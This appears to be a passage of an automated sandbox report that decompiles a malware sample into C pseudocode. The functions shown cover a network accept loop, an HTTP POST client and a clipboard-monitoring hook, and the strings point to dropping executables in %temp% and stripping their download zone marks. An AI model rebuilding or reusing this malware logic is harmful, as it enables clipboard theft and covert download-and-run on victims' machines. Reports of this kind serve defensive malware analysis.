                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040D748
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0040D76F
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D77E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36$Q]@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3135114409-3988953271
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: d1661231a8a6deaaf19e39ed5180283044bc1df4e64869b41c720f44ceed8c3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: aef3b5e2bb5123bdf9127001507d8ae34f8638f911c95bd468b543b242c542dc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d1661231a8a6deaaf19e39ed5180283044bc1df4e64869b41c720f44ceed8c3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2291C7B1D41318ABE720DB51DC45FE97779AB88705F0084AAF60EA21C1DAB99BC4CF18
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E2F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 395 40e2f0-40e317 GetTickCount WaitForSingleObject 396 40e499-40e49f 395->396 397 40e31d-40e334 WSAWaitForMultipleEvents 395->397 398 40e3c0-40e3d3 GetTickCount 397->398 399 40e33a-40e351 WSAEnumNetworkEvents 397->399 400 40e413-40e41c GetTickCount 398->400 401 40e3d5-40e3e4 EnterCriticalSection 398->401 399->398 402 40e353-40e358 399->402 403 40e485-40e493 WaitForSingleObject 400->403 404 40e41e-40e42d EnterCriticalSection 400->404 405 40e3e6-40e3ed 401->405 406 40e40a-40e411 LeaveCriticalSection 401->406 402->398 407 40e35a-40e360 402->407 403->396 403->397 409 40e471-40e481 LeaveCriticalSection GetTickCount 404->409 410 40e42f-40e447 InterlockedExchangeAdd call 40bd50 404->410 411 40e405 call 40e1f0 405->411 412 40e3ef-40e3f7 405->412 406->403 407->398 408 40e362-40e381 accept 407->408 408->398 414 40e383-40e392 call 40de80 408->414 409->403 420 40e467-40e46f 410->420 421 40e449-40e452 410->421 411->406 412->405 416 40e3f9-40e400 LeaveCriticalSection 412->416 414->398 422 40e394-40e3af call 40e110 414->422 416->403 420->409 420->410 421->420 423 40e454-40e45d call 4094f0 421->423 422->398 428 40e3b1-40e3b7 422->428 423->420 428->398 429 40e3b9-40e3bb call 40e6c0 428->429 429->398
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040E2F0(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DE80(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E110(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E6C0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BD50() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E004094F0(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E1F0(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}




























                                                                                                                                                                                                                                                                                                                                                      0x0040e2f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e2fc
                                                                                                                                                                                                                                                                                                                                                      0x0040e302
                                                                                                                                                                                                                                                                                                                                                      0x0040e305
                                                                                                                                                                                                                                                                                                                                                      0x0040e30f
                                                                                                                                                                                                                                                                                                                                                      0x0040e317
                                                                                                                                                                                                                                                                                                                                                      0x0040e499
                                                                                                                                                                                                                                                                                                                                                      0x0040e49f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e31d
                                                                                                                                                                                                                                                                                                                                                      0x0040e31d
                                                                                                                                                                                                                                                                                                                                                      0x0040e323
                                                                                                                                                                                                                                                                                                                                                      0x0040e329
                                                                                                                                                                                                                                                                                                                                                      0x0040e334
                                                                                                                                                                                                                                                                                                                                                      0x0040e346
                                                                                                                                                                                                                                                                                                                                                      0x0040e351
                                                                                                                                                                                                                                                                                                                                                      0x0040e362
                                                                                                                                                                                                                                                                                                                                                      0x0040e370
                                                                                                                                                                                                                                                                                                                                                      0x0040e378
                                                                                                                                                                                                                                                                                                                                                      0x0040e381
                                                                                                                                                                                                                                                                                                                                                      0x0040e38b
                                                                                                                                                                                                                                                                                                                                                      0x0040e38d
                                                                                                                                                                                                                                                                                                                                                      0x0040e392
                                                                                                                                                                                                                                                                                                                                                      0x0040e394
                                                                                                                                                                                                                                                                                                                                                      0x0040e3a0
                                                                                                                                                                                                                                                                                                                                                      0x0040e3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040e3af
                                                                                                                                                                                                                                                                                                                                                      0x0040e3bb
                                                                                                                                                                                                                                                                                                                                                      0x0040e3bb
                                                                                                                                                                                                                                                                                                                                                      0x0040e3af
                                                                                                                                                                                                                                                                                                                                                      0x0040e392
                                                                                                                                                                                                                                                                                                                                                      0x0040e381
                                                                                                                                                                                                                                                                                                                                                      0x0040e351
                                                                                                                                                                                                                                                                                                                                                      0x0040e3c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e3c8
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d3
                                                                                                                                                                                                                                                                                                                                                      0x0040e41c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e422
                                                                                                                                                                                                                                                                                                                                                      0x0040e428
                                                                                                                                                                                                                                                                                                                                                      0x0040e42d
                                                                                                                                                                                                                                                                                                                                                      0x0040e471
                                                                                                                                                                                                                                                                                                                                                      0x0040e475
                                                                                                                                                                                                                                                                                                                                                      0x0040e481
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e435
                                                                                                                                                                                                                                                                                                                                                      0x0040e447
                                                                                                                                                                                                                                                                                                                                                      0x0040e449
                                                                                                                                                                                                                                                                                                                                                      0x0040e452
                                                                                                                                                                                                                                                                                                                                                      0x0040e455
                                                                                                                                                                                                                                                                                                                                                      0x0040e45a
                                                                                                                                                                                                                                                                                                                                                      0x0040e45d
                                                                                                                                                                                                                                                                                                                                                      0x0040e45d
                                                                                                                                                                                                                                                                                                                                                      0x0040e452
                                                                                                                                                                                                                                                                                                                                                      0x0040e467
                                                                                                                                                                                                                                                                                                                                                      0x0040e46d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e42f
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d5
                                                                                                                                                                                                                                                                                                                                                      0x0040e3d9
                                                                                                                                                                                                                                                                                                                                                      0x0040e3df
                                                                                                                                                                                                                                                                                                                                                      0x0040e3e4
                                                                                                                                                                                                                                                                                                                                                      0x0040e40a
                                                                                                                                                                                                                                                                                                                                                      0x0040e40b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e40b
                                                                                                                                                                                                                                                                                                                                                      0x0040e3e6
                                                                                                                                                                                                                                                                                                                                                      0x0040e3ef
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f9
                                                                                                                                                                                                                                                                                                                                                      0x0040e3fa
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e3fa
                                                                                                                                                                                                                                                                                                                                                      0x0040e3f7
                                                                                                                                                                                                                                                                                                                                                      0x0040e405
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e485
                                                                                                                                                                                                                                                                                                                                                      0x0040e48b
                                                                                                                                                                                                                                                                                                                                                      0x0040e491
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E2FC
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E30F
                                                                                                                                                                                                                                                                                                                                                      • WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E329
                                                                                                                                                                                                                                                                                                                                                      • WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E346
                                                                                                                                                                                                                                                                                                                                                      • accept.WS2_32(?,?,?), ref: 0040E378
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E3C6
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 0040E3D9
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E3FA
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E40B
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E413
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 0040E422
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E435
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 0040E475
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040E47B
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E48B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
                                                                                                                                                                                                                                                                                                                                                      • String ID: PCOI$ilci
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3345448188-3762367603
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 69e6be9f049139bd6f3b3eca58ebdea8894dffc8685f23f82a9787147485392f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c6f097d7e15fade293e7d9035e678dc4fafb00e6da71ecb747a2cd9ad393f737
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 69e6be9f049139bd6f3b3eca58ebdea8894dffc8685f23f82a9787147485392f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A641F6715002009BCB249F36DC8CB9B7BA4AF44710F148E3AFD55A72C1CB78E8A5CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CC50 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040CC50(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408A50(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040cc59
                                                                                                                                                                                                                                                                                                                                                      0x0040cc63
                                                                                                                                                                                                                                                                                                                                                      0x0040cc78
                                                                                                                                                                                                                                                                                                                                                      0x0040cc7d
                                                                                                                                                                                                                                                                                                                                                      0x0040cc80
                                                                                                                                                                                                                                                                                                                                                      0x0040cc90
                                                                                                                                                                                                                                                                                                                                                      0x0040cc96
                                                                                                                                                                                                                                                                                                                                                      0x0040cca6
                                                                                                                                                                                                                                                                                                                                                      0x0040ccac
                                                                                                                                                                                                                                                                                                                                                      0x0040ccc8
                                                                                                                                                                                                                                                                                                                                                      0x0040cce1
                                                                                                                                                                                                                                                                                                                                                      0x0040ccee
                                                                                                                                                                                                                                                                                                                                                      0x0040cd1a
                                                                                                                                                                                                                                                                                                                                                      0x0040cd27
                                                                                                                                                                                                                                                                                                                                                      0x0040cd50
                                                                                                                                                                                                                                                                                                                                                      0x0040cd5d
                                                                                                                                                                                                                                                                                                                                                      0x0040cd75
                                                                                                                                                                                                                                                                                                                                                      0x0040cd7b
                                                                                                                                                                                                                                                                                                                                                      0x0040cda7
                                                                                                                                                                                                                                                                                                                                                      0x0040cdad
                                                                                                                                                                                                                                                                                                                                                      0x0040cdb7
                                                                                                                                                                                                                                                                                                                                                      0x0040cdd7
                                                                                                                                                                                                                                                                                                                                                      0x0040cde6
                                                                                                                                                                                                                                                                                                                                                      0x0040ce0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ce30
                                                                                                                                                                                                                                                                                                                                                      0x0040ce35
                                                                                                                                                                                                                                                                                                                                                      0x0040ce44
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ce44
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cde6
                                                                                                                                                                                                                                                                                                                                                      0x0040ce58
                                                                                                                                                                                                                                                                                                                                                      0x0040ce58
                                                                                                                                                                                                                                                                                                                                                      0x0040ce61
                                                                                                                                                                                                                                                                                                                                                      0x0040ce61
                                                                                                                                                                                                                                                                                                                                                      0x0040ce6e
                                                                                                                                                                                                                                                                                                                                                      0x0040ce6e
                                                                                                                                                                                                                                                                                                                                                      0x0040ce7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ce7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ce8a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040CC78
                                                                                                                                                                                                                                                                                                                                                      • InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CCC8
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CCDB
                                                                                                                                                                                                                                                                                                                                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CD14
                                                                                                                                                                                                                                                                                                                                                      • HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CD4A
                                                                                                                                                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CD75
                                                                                                                                                                                                                                                                                                                                                      • HttpSendRequestA.WININET(00000000,004108E0,000000FF,00009E34), ref: 0040CD9F
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CDDE
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000000,?,00000000), ref: 0040CE30
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE61
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE6E
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040CE7B
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2761394606-2217117414
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6b9f49c2928066bfe5e192825a7e2d11686b98e062fbe6de84300f8c3c6fdf6c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cb1709aa341c06635a7664d56b3718a2fe4aa2a6be49ece60be182672612c429
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b9f49c2928066bfe5e192825a7e2d11686b98e062fbe6de84300f8c3c6fdf6c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E512D75901228ABDB26DF54CC94BEA77BCAB48705F1081E9B50DA6280D7B86FC4CF54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404110 Relevance: 25.7, APIs: 17, Instructions: 186clipboardregistryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 448 404110-404132 GetWindowLongW 449 404134-40413b 448->449 450 404156-40415d 448->450 451 404141-404145 449->451 452 4041c7-4041d8 IsClipboardFormatAvailable 449->452 453 404186-40418c 450->453 454 40415f 450->454 459 404164-404181 SetClipboardViewer SetWindowLongW 451->459 460 404147-40414b 451->460 457 4041e3-4041ed IsClipboardFormatAvailable 452->457 458 4041da-4041e1 452->458 455 4041a6-4041aa 453->455 456 40418e-4041a4 SetWindowLongW 453->456 461 404344-40435d DefWindowProcA 454->461 462 4041c2 455->462 463 4041ac-4041bc SendMessageA 455->463 456->462 465 4041f8-404202 IsClipboardFormatAvailable 457->465 466 4041ef-4041f6 457->466 464 40420b-40420f 458->464 459->461 467 404151 460->467 468 4042fd-40433e RegisterRawInputDevices ChangeClipboardChain 460->468 462->461 463->462 470 404215-40421f OpenClipboard 464->470 471 4042df-4042e3 464->471 465->464 469 404204 465->469 466->464 467->461 468->461 469->464 470->471 474 404225-404236 GetClipboardData 470->474 472 4042e5-4042f5 SendMessageA 471->472 473 4042fb 471->473 472->473 473->461 475 404238 474->475 476 40423d-40424e GlobalLock 474->476 475->461 477 404250 476->477 478 404255-404266 476->478 477->461 479 404268-40426c 478->479 480 404289-40429c call 403f20 478->480 481 40429e-4042ae call 404040 479->481 482 40426e-404272 479->482 488 4042b1-4042c5 GlobalUnlock CloseClipboard 480->488 481->488 484 404274 482->484 485 404276-404287 call 403e60 482->485 484->488 485->488 488->471 492 4042c7-4042dc call 403480 call 408b60 488->492 492->471
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 94%
                                                                                                                                                                                                                                                                                                                                                      			E00404110(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						return DefWindowProcA(_a4, _a8, _a12, _a16);
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403F20(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E00404040(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403E60(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408B60(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}



















                                                                                                                                                                                                                                                                                                                                                      0x00404122
                                                                                                                                                                                                                                                                                                                                                      0x00404128
                                                                                                                                                                                                                                                                                                                                                      0x00404132
                                                                                                                                                                                                                                                                                                                                                      0x0040415d
